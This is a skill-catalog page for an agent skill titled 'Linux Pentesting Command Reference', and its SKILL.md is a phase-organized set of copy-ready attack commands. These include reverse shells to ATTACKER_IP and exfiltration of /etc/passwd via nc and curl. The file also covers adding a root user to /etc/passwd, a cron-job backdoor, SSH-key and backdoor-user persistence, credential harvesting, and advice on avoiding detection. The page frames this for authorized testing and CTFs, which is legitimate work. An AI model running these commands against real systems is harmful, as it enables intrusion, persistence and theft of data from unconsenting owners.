Now liveThe Skillselion MCP - thousands of ranked skills, loaded into your agent mid-task. No install.Get it →
aradotso avatar

Linux Pentesting Command Reference

  • 1 installs
  • 10 repo stars
  • Updated August 4, 2026
  • aradotso/security-skills

Linux Pentesting Command Reference is a Claude skill that provides a phase-organized catalog of practical Linux commands for penetration testing.

About

A Linux command reference organized by penetration-testing phases: reconnaissance, enumeration, exploitation, privilege escalation, and post-exploitation. A developer or tester uses it to look up actionable shell commands during an engagement instead of theory. It bundles copy-ready one-liners for tasks like finding SUID binaries, spawning reverse shells, and upgrading TTYs.

  • Curated Linux command reference across six pentest phases
  • Covers recon, enumeration, exploitation, privesc and post-exploitation
  • Offline via cloned Git repo for use during engagements

Linux Pentesting Command Reference by the numbers

  • 1 all-time installs (skills.sh)
  • Ranked #1,835 of 2,203 Security skills by installs in the Skillselion catalog
  • Data as of Aug 5, 2026 (Skillselion catalog sync)
At a glance

linux-pentesting-command-reference capabilities & compatibility

Free; clone the public GitHub repo.

Capabilities
security audit · reconnaissance · privilege escalation · enumeration
Use cases
security audit
Platforms
Linux
Pricing
Free
From the docs

What linux-pentesting-command-reference says it does

The **Linux for a Pentester** project is a curated collection of practical Linux commands and techniques organized by penetration testing phases.
SKILL.md
It covers the complete pentesting workflow from initial reconnaissance through post-exploitation.
SKILL.md
npx skills add https://github.com/aradotso/security-skills --skill linux-pentesting-command-reference

Add your badge

Show developers this skill is listed on Skillselion. Paste this into your README.

Listed on Skillselion
Installs1
repo stars10
Last updatedAugust 4, 2026
Repositoryaradotso/security-skills

What it does

Look up phase-specific Linux commands while running a penetration test or CTF challenge on a target host.

Who is it for?

Pentesters and CTF players who need quick, phase-organized Linux commands during an engagement.

Skip if: Beginners without authorization to test a target, or non-Linux environments.

When should I use this skill?

You need recon, enumeration, privilege-escalation, or post-exploitation commands for a Linux target.

What you get

You get copy-ready, phase-organized commands for the full Linux pentest workflow.

By the numbers

  • Six main modules
  • Notes organized into 6 pentest phases plus cheatsheets

Files

SKILL.mdMarkdownGitHub ↗

Linux Pentesting Command Reference

Skill by ara.so — Security Skills collection.

Overview

The Linux for a Pentester project is a curated collection of practical Linux commands and techniques organized by penetration testing phases. This reference is built from real-world labs, CTFs, and hands-on practice, focusing on actionable commands rather than theory. It covers the complete pentesting workflow from initial reconnaissance through post-exploitation.

Repository Structure

The notes are organized into six main modules:

  • 00-General-Commands: Essential Linux survival commands for daily usage
  • 01-Recon: Local and network reconnaissance techniques
  • 02-Enumeration: Deep service and user data enumeration
  • 03-Exploitation: Shell access, file uploads, and initial foothold techniques
  • 04-Privilege-Escalation: Techniques for escalating to root privileges
  • 05-Post-Exploitation: Persistence, cleanup, and lateral movement
  • Cheatsheets: Quick reference one-liners

Installation

Clone the repository to have offline access during engagements:

git clone https://github.com/HIMANSHUSHARMA20/Linux-for-a-Pentester.git
cd Linux-for-a-Pentester

For quick reference during testing:

# View specific module
cat 04-Privilege-Escalation/README.md

# Search for specific commands
grep -r "sudo" .

# Find all references to a specific tool
find . -type f -name "*.md" -exec grep -l "nmap" {} \;

Key Command Categories

General Commands (Module 00)

Essential commands for navigation and system interaction:

# File system navigation
ls -la                    # List all files including hidden
cd /path/to/directory    # Change directory
pwd                      # Print working directory
find / -name "*.conf" 2>/dev/null  # Find config files, suppress errors

# File operations
cat /etc/passwd          # View file contents
less /var/log/syslog     # Page through large files
grep -r "password" .     # Recursive search
tail -f /var/log/auth.log # Follow log file in real-time

# System information
uname -a                 # Kernel and system info
whoami                   # Current user
id                       # User and group IDs
hostname                 # System hostname

Reconnaissance (Module 01)

Local and network reconnaissance commands:

# Network enumeration
ip a                     # Show network interfaces
ss -tulpn               # Show listening ports (modern netstat)
netstat -ano            # Show all network connections
arp -a                  # Show ARP cache

# System enumeration
ps aux                  # List all running processes
systemctl list-units    # List systemd services
cat /etc/issue         # OS version info
cat /etc/*-release     # Distribution info
lsb_release -a         # Detailed OS info

# User enumeration
cat /etc/passwd        # List all users
cat /etc/group         # List all groups
w                      # Who is logged in
last                   # Last logged in users
lastlog                # All users last login

Enumeration (Module 02)

Deep service and data enumeration:

# File system enumeration
find / -perm -4000 2>/dev/null     # Find SUID binaries
find / -writable -type d 2>/dev/null # Find writable directories
find / -name "*.conf" -o -name "*.config" 2>/dev/null  # Find configs

# Capability enumeration
getcap -r / 2>/dev/null            # Find files with capabilities

# Cron job enumeration
cat /etc/crontab
ls -la /etc/cron.*
crontab -l                         # Current user's crontab

# Service enumeration
systemctl list-unit-files --state=enabled
ps aux | grep -i "root"           # Root processes

# Database files
locate password | grep -i config
find / -name "*.db" 2>/dev/null
find / -name "*.sqlite" 2>/dev/null

Exploitation (Module 03)

Common exploitation techniques and payloads:

# Reverse shells
bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1
nc ATTACKER_IP PORT -e /bin/bash
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

# TTY shell upgrade
python -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Then: Ctrl+Z, stty raw -echo; fg, export TERM=xterm

# File transfer
# On attacker: python3 -m http.server 8000
wget http://ATTACKER_IP:8000/file -O /tmp/file
curl http://ATTACKER_IP:8000/file -o /tmp/file

# Data exfiltration
cat /etc/passwd | nc ATTACKER_IP PORT
curl -X POST -d @/etc/passwd http://ATTACKER_IP:PORT/

Privilege Escalation (Module 04)

Techniques for escalating privileges:

# SUID exploitation
find / -perm -4000 -type f 2>/dev/null
# Check GTFOBins for SUID binary exploits

# Sudo exploitation
sudo -l                            # List sudo privileges
sudo -l -U username                # Check other user's sudo rights

# Writable /etc/passwd exploitation
openssl passwd -1 -salt salt password123
echo 'newroot:HASH:0:0:root:/root:/bin/bash' >> /etc/passwd

# Cron job abuse
# Write malicious script to writable cron job path
echo 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1' > /path/to/cronjob.sh
chmod +x /path/to/cronjob.sh

# PATH hijacking
echo '/bin/bash' > /tmp/vulnerable_binary
chmod +x /tmp/vulnerable_binary
export PATH=/tmp:$PATH

# Kernel exploits (check kernel version first)
uname -a
# Search for kernel exploits on exploit-db or searchsploit
searchsploit linux kernel 4.15

# Capabilities abuse
# If python has cap_setuid+ep
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

Post-Exploitation (Module 05)

Persistence and lateral movement:

# Add SSH key for persistence
mkdir -p /root/.ssh
echo "YOUR_PUBLIC_KEY" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys

# Add backdoor user
useradd -m -s /bin/bash backdoor
echo "backdoor:password" | chpasswd
usermod -aG sudo backdoor

# Download enumeration scripts
wget http://ATTACKER_IP/linpeas.sh -O /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
./tmp/linpeas.sh

# Credential harvesting
grep -r "password" /home/ 2>/dev/null
cat ~/.bash_history
cat ~/.mysql_history
find / -name "*.conf" -exec grep -i "pass" {} \; 2>/dev/null

# Lateral movement preparation
hostname -I                        # Get all IPs
for i in {1..254}; do ping -c 1 192.168.1.$i & done  # Ping sweep

Common Patterns

Initial Access Workflow

# 1. Stabilize shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z
stty raw -echo; fg

# 2. Basic enumeration
id && hostname && uname -a
cat /etc/passwd | grep -v nologin
sudo -l

# 3. Transfer enumeration script
wget http://ATTACKER_IP:8000/linpeas.sh -O /tmp/lp.sh && chmod +x /tmp/lp.sh

Privilege Escalation Checklist

# Check sudo
sudo -l

# Check SUID
find / -perm -4000 -type f 2>/dev/null

# Check capabilities
getcap -r / 2>/dev/null

# Check cron jobs
cat /etc/crontab
ls -la /etc/cron.*

# Check writable paths
find / -writable -type d 2>/dev/null | grep -v proc

# Check for credentials
grep -r "password" /home/ 2>/dev/null
find / -name "*.conf" -type f -exec grep -i "pass" {} + 2>/dev/null

Troubleshooting

Shell Issues

Problem: Unstable or non-interactive shell

# Try multiple TTY upgrade methods
python -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
perl -e 'exec "/bin/bash";'
script -qc /bin/bash /dev/null

Problem: Commands not working in reverse shell

# Set proper PATH
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
export SHELL=/bin/bash
export TERM=xterm-256color

File Transfer Issues

Problem: wget/curl not available

# Try alternative methods
# Using netcat
nc ATTACKER_IP PORT < file            # Send
nc -lvp PORT > file                   # Receive

# Using base64
base64 file | nc ATTACKER_IP PORT     # Send
nc -lvp PORT | base64 -d > file       # Receive

# Using scp (if SSH available)
scp file user@ATTACKER_IP:/path/

Permission Issues

Problem: Cannot write to common directories

# Find writable locations
find / -writable -type d 2>/dev/null | grep -v proc
# Common writable: /tmp, /var/tmp, /dev/shm

# Check /tmp alternatives
ls -la /dev/shm
ls -la /var/tmp

Enumeration Script Failures

Problem: Automated scripts not running

# Check script requirements
file linpeas.sh                    # Verify file type
head -1 linpeas.sh                 # Check shebang
which bash                         # Verify interpreter exists

# Run with explicit interpreter
bash linpeas.sh
sh linpeas.sh

Integration with AI Agents

When assisting with pentesting tasks, reference specific modules:

# For recon phase
cat Linux-for-a-Pentester/01-Recon/network-enumeration.md

# For privilege escalation
grep -r "sudo" Linux-for-a-Pentester/04-Privilege-Escalation/

# For specific techniques
find Linux-for-a-Pentester -name "*suid*"

Best Practices

1. Always stabilize your shell first before running complex commands 2. Use 2>/dev/null to suppress error messages in enumeration commands 3. Check sudo -l as the first privilege escalation check 4. Transfer and run automated enumeration scripts (LinPEAS, LinEnum) for comprehensive coverage 5. Document discovered credentials and file paths for later reference 6. Clean up artifacts during post-exploitation to avoid detection

Legal Disclaimer

These commands and techniques are for authorized penetration testing and educational purposes only. Always ensure you have explicit written permission before testing any system you do not own.

Related skills

FAQ

What pentest phases does this cover?

Six modules: general commands, reconnaissance, enumeration, exploitation, privilege escalation, and post-exploitation, plus cheatsheets.

Do I need to install anything?

No build step; you clone the Linux-for-a-Pentester repo for offline access during engagements.

Securityappsecaudit

This week in AI coding

Five minutes, every Monday - the tools, releases and tactics for developers.

unsubscribe anytime.